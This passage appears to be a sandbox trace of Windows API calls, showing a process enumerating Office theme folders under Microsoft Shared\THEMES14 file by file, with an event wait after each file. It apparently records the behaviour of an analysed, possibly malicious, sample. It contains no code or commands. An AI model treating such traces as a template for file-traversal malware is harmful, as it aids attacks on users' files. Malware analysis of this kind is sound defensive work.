ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.378] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0268.379] ResetEvent (hEvent=0xe0) returned 1 [0268.379] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.380] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0268.381] ResetEvent (hEvent=0xe0) returned 1 [0268.381] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.382] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.382] ResetEvent (hEvent=0xe0) returned 1 [0268.383] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.384] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.384] ResetEvent (hEvent=0xe0) returned 1 [0268.384] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.387] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.387] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.388] GetProcessHeap () returned 0x550000 [0268.388] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.388] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0268.388] GetProcessHeap () returned 0x550000 [0268.388] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.388] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.388] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0268.388] ResetEvent (hEvent=0xe0) returned 1 [0268.389] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.390] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0268.390] ResetEvent (hEvent=0xe0) returned 1 [0268.391] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.392] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.392] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.392] ResetEvent (hEvent=0xe0) returned 1 [0268.392] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.394] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.394] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.394] GetProcessHeap () returned 0x550000 [0268.394] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.395] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0268.395] GetProcessHeap () returned 0x550000 [0268.395] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.395] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.395] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0268.395] ResetEvent (hEvent=0xe0) returned 1 [0268.395] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.397] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0268.397] ResetEvent (hEvent=0xe0) returned 1 [0268.398] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.400] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.400] ResetEvent (hEvent=0xe0) returned 1 [0268.400] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.402] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.402] ResetEvent (hEvent=0xe0) returned 1 [0268.402] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.404] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.404] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.404] GetProcessHeap () returned 0x550000 [0268.404] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.404] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0268.404] GetProcessHeap () returned 0x550000 [0268.404] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.405] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.405] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0268.405] ResetEvent (hEvent=0xe0) returned 1 [0268.405] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.407] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0268.407] ResetEvent (hEvent=0xe0) returned 1 [0268.408] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.409] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.409] ResetEvent (hEvent=0xe0) returned 1 [0268.410] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.411] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.411] ResetEvent (hEvent=0xe0) returned 1 [0268.412] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.413] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.414] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.414] GetProcessHeap () returned 0x550000 [0268.414] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.414] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0268.414] GetProcessHeap () returned 0x550000 [0268.414] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.414] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.414] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.414] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0268.415] ResetEvent (hEvent=0xe0) returned 1 [0268.415] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.416] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0268.417] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.417] ResetEvent (hEvent=0xe0) returned 1 [0268.417] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.640] ResetEvent (hEvent=0xe0) returned 1 [0268.640] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.642] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.642] ResetEvent (hEvent=0xe0) returned 1 [0268.642] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.644] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.644] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.644] GetProcessHeap () returned 0x550000 [0268.644] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.644] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0268.644] GetProcessHeap () returned 0x550000 [0268.644] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, 